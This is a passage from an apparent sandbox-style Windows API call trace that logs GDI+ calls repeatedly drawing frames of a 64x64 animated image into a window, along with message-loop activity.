graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0141.720] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.720] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0141.721] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0141.721] GetCurrentObject (hdc=0x22010b91, type=0x1) returned 0x1b00017 [0141.721] GetCurrentObject (hdc=0x22010b91, type=0x2) returned 0x1900010 [0141.721] GetCurrentObject (hdc=0x22010b91, type=0x7) returned 0x1a05067e [0141.721] GetCurrentObject (hdc=0x22010b91, type=0x6) returned 0x18a002e [0141.721] SaveDC (hdc=0x22010b91) returned 1 [0141.721] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff93040b8a [0141.721] GetClipRgn (hdc=0x22010b91, hrgn=0xffffffff93040b8a) returned 0 [0141.721] SelectClipRgn (hdc=0x22010b91, hrgn=0xffffffffc30407c3) returned 2 [0141.721] DeleteObject (ho=0xffffffff93040b8a) returned 1 [0141.721] DeleteObject (ho=0xffffffffc30407c3) returned 1 [0141.721] OffsetViewportOrgEx (in: hdc=0x22010b91, x=0, y=0, lppt=0x26cd798 | out: lppt=0x26cd798) returned 1 [0141.721] GetNearestColor (hdc=0x22010b91, color=0xffffff) returned 0xffffff [0141.722] CreateSolidBrush (color=0xffffff) returned 0xffffffff9b100190 [0141.722] FillRect (hDC=0x22010b91, lprc=0x15d7c0, hbr=0xffffffff9b100190) returned 1 [0141.722] DeleteObject (ho=0xffffffff9b100190) returned 1 [0141.722] RestoreDC (hdc=0x22010b91, nSavedDC=-1) returned 1 [0141.722] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.722] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x22010b91) returned 0x0 [0141.722] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcb00dbd) returned 0x0 [0141.722] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.722] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0141.722] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0141.722] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0141.722] GetSystemMetrics (nIndex=42) returned 0 [0141.722] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0141.722] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0141.723] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0141.723] CoTaskMemFree (pv=0x1e91eca0) [0141.723] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xa) returned 0x0 [0141.725] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0141.725] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0141.725] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0141.725] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0141.725] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x22010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0141.725] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.725] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x22010b91) returned 0x0 [0141.725] SelectObject (hdc=0x22010b91, h=0x185000f) returned 0x1a05067e [0141.725] DeleteDC (hdc=0x22010b91) returned 1 [0141.726] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.726] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0141.726] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0141.726] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0141.726] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0141.726] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0141.726] WaitMessage () returned 1 [0141.903] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0141.903] IsWindowUnicode (hWnd=0x2031e) returned 1 [0141.903] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0141.903] TranslateMessage (lpMsg=0x15e910) returned 0 [0141.903] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0141.903] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0141.903] GetCurrentThreadId () returned 0xec0 [0141.903] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0141.903] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0141.903] IsWindowUnicode (hWnd=0x2031e) returned 1 [0141.903] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0141.903] TranslateMessage (lpMsg=0x15e910) returned 0 [0141.903] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0141.903] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0141.904] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0141.904] CreateCompatibleDC (hdc=0x3010b83) returned 0x23010b91 [0141.904] SelectObject (hdc=0x23010b91, h=0x1a05067e) returned 0x185000f [0141.904] GdipCreateFromHDC (hdc=0x23010b91, graphics=0x15daf0) returned 0x0 [0141.904] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0141.904] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0141.904] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0141.904] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0141.904] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0141.904] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.904] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0141.905] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.905] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.905] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0141.905] GdipCreateRegion (region=0x15dc20) returned 0x0 [0141.905] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0141.905] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0141.905] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0141.905] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0141.906] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0141.906] GetSystemMetrics (nIndex=42) returned 0 [0141.906] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0141.906] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0141.906] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0141.906] CoTaskMemFree (pv=0x1e91eca0) [0141.906] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0141.906] GdipCreateRegion (region=0x15d710) returned 0x0 [0141.906] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0141.906] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0141.906] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0141.906] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0141.906] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.906] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0141.907] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.907] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0141.907] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.907] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0141.907] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.907] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.907] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0141.907] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0141.907] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0141.907] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0141.907] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.908] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0141.908] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0141.908] GetCurrentObject (hdc=0x23010b91, type=0x1) returned 0x1b00017 [0141.908] GetCurrentObject (hdc=0x23010b91, type=0x2) returned 0x1900010 [0141.908] GetCurrentObject (hdc=0x23010b91, type=0x7) returned 0x1a05067e [0141.908] GetCurrentObject (hdc=0x23010b91, type=0x6) returned 0x18a002e [0141.908] SaveDC (hdc=0x23010b91) returned 1 [0141.908] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffc40407c3 [0141.908] GetClipRgn (hdc=0x23010b91, hrgn=0xffffffffc40407c3) returned 0 [0141.908] SelectClipRgn (hdc=0x23010b91, hrgn=0xffffffff94040b8a) returned 2 [0141.908] DeleteObject (ho=0xffffffffc40407c3) returned 1 [0141.908] DeleteObject (ho=0xffffffff94040b8a) returned 1 [0141.908] OffsetViewportOrgEx (in: hdc=0x23010b91, x=0, y=0, lppt=0x26ceac0 | out: lppt=0x26ceac0) returned 1 [0141.908] GetNearestColor (hdc=0x23010b91, color=0xffffff) returned 0xffffff [0141.908] CreateSolidBrush (color=0xffffff) returned 0xffffffff9c100190 [0141.909] FillRect (hDC=0x23010b91, lprc=0x15d7c0, hbr=0xffffffff9c100190) returned 1 [0141.909] DeleteObject (ho=0xffffffff9c100190) returned 1 [0141.909] RestoreDC (hdc=0x23010b91, nSavedDC=-1) returned 1 [0141.909] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.909] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x23010b91) returned 0x0 [0141.909] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcae0dbd) returned 0x0 [0141.909] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.909] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0141.909] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0141.909] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0141.909] GetSystemMetrics (nIndex=42) returned 0 [0141.909] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0141.909] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0141.909] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0141.909] CoTaskMemFree (pv=0x1e91eca0) [0141.910] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0141.910] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0141.910] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0141.910] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0141.910] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x23010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0141.910] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.910] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x23010b91) returned 0x0 [0141.910] SelectObject (hdc=0x23010b91, h=0x185000f) returned 0x1a05067e [0141.910] DeleteDC (hdc=0x23010b91) returned 1 [0141.910] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.910] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0141.910] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0141.910] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0141.911] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0141.911] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0141.911] WaitMessage () returned 1 [0142.104] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.104] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.104] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.105] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.105] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.105] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0142.105] GetCurrentThreadId () returned 0xec0 [0142.105] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0142.105] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.105] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.105] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.105] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.105] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.105] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0142.105] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0142.105] CreateCompatibleDC (hdc=0x3010b83) returned 0x24010b91 [0142.105] SelectObject (hdc=0x24010b91, h=0x1a05067e) returned 0x185000f [0142.106] GdipCreateFromHDC (hdc=0x24010b91, graphics=0x15daf0) returned 0x0 [0142.106] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0142.106] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0142.106] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0142.106] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0142.106] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0142.106] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.106] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0142.107] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.107] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.107] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0142.107] GdipCreateRegion (region=0x15dc20) returned 0x0 [0142.107] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0142.107] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0142.108] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0142.108] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.108] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.108] GetSystemMetrics (nIndex=42) returned 0 [0142.108] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.108] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.108] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.108] CoTaskMemFree (pv=0x1e91eca0) [0142.108] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0142.108] GdipCreateRegion (region=0x15d710) returned 0x0 [0142.108] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0142.108] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0142.108] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0142.108] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0142.108] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.108] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.110] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.110] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0142.110] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.110] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.110] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.110] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.110] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0142.110] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0142.111] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0142.111] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0142.111] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.111] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0142.111] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0142.111] GetCurrentObject (hdc=0x24010b91, type=0x1) returned 0x1b00017 [0142.111] GetCurrentObject (hdc=0x24010b91, type=0x2) returned 0x1900010 [0142.111] GetCurrentObject (hdc=0x24010b91, type=0x7) returned 0x1a05067e [0142.111] GetCurrentObject (hdc=0x24010b91, type=0x6) returned 0x18a002e [0142.111] SaveDC (hdc=0x24010b91) returned 1 [0142.111] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff95040b8a [0142.111] GetClipRgn (hdc=0x24010b91, hrgn=0xffffffff95040b8a) returned 0 [0142.112] SelectClipRgn (hdc=0x24010b91, hrgn=0xffffffffc50407c3) returned 2 [0142.112] DeleteObject (ho=0xffffffff95040b8a) returned 1 [0142.112] DeleteObject (ho=0xffffffffc50407c3) returned 1 [0142.112] OffsetViewportOrgEx (in: hdc=0x24010b91, x=0, y=0, lppt=0x26cf3f8 | out: lppt=0x26cf3f8) returned 1 [0142.112] GetNearestColor (hdc=0x24010b91, color=0xffffff) returned 0xffffff [0142.112] CreateSolidBrush (color=0xffffff) returned 0xffffffff9d100190 [0142.112] FillRect (hDC=0x24010b91, lprc=0x15d7c0, hbr=0xffffffff9d100190) returned 1 [0142.112] DeleteObject (ho=0xffffffff9d100190) returned 1 [0142.112] RestoreDC (hdc=0x24010b91, nSavedDC=-1) returned 1 [0142.112] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.112] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x24010b91) returned 0x0 [0142.112] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcac0dbd) returned 0x0 [0142.113] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.113] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0142.113] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.113] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.113] GetSystemMetrics (nIndex=42) returned 0 [0142.113] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.113] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.113] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.113] CoTaskMemFree (pv=0x1e91eca0) [0142.113] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xc) returned 0x0 [0142.115] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0142.116] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0142.116] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0142.116] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0142.116] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x24010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0142.116] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.116] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x24010b91) returned 0x0 [0142.116] SelectObject (hdc=0x24010b91, h=0x185000f) returned 0x1a05067e [0142.116] DeleteDC (hdc=0x24010b91) returned 1 [0142.116] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.116] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0142.116] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0142.117] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0142.117] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.117] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.117] WaitMessage () returned 1 [0142.292] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.292] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.292] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.292] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.292] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.292] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0142.292] GetCurrentThreadId () returned 0xec0 [0142.292] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0142.292] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.292] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.292] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.292] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.292] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.292] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0142.293] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0142.293] CreateCompatibleDC (hdc=0x3010b83) returned 0x25010b91 [0142.293] SelectObject (hdc=0x25010b91, h=0x1a05067e) returned 0x185000f [0142.293] GdipCreateFromHDC (hdc=0x25010b91, graphics=0x15daf0) returned 0x0 [0142.293] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0142.293] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0142.293] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0142.293] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0142.293] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0142.293] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.294] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0142.294] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.294] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.294] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0142.294] GdipCreateRegion (region=0x15dc20) returned 0x0 [0142.295] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0142.295] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0142.295] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0142.295] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.295] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.295] GetSystemMetrics (nIndex=42) returned 0 [0142.295] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.295] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.295] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.295] CoTaskMemFree (pv=0x1e91eca0) [0142.295] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0142.295] GdipCreateRegion (region=0x15d710) returned 0x0 [0142.295] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0142.295] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0142.296] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0142.296] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0142.296] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.296] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.296] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.296] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0142.296] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.296] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.297] 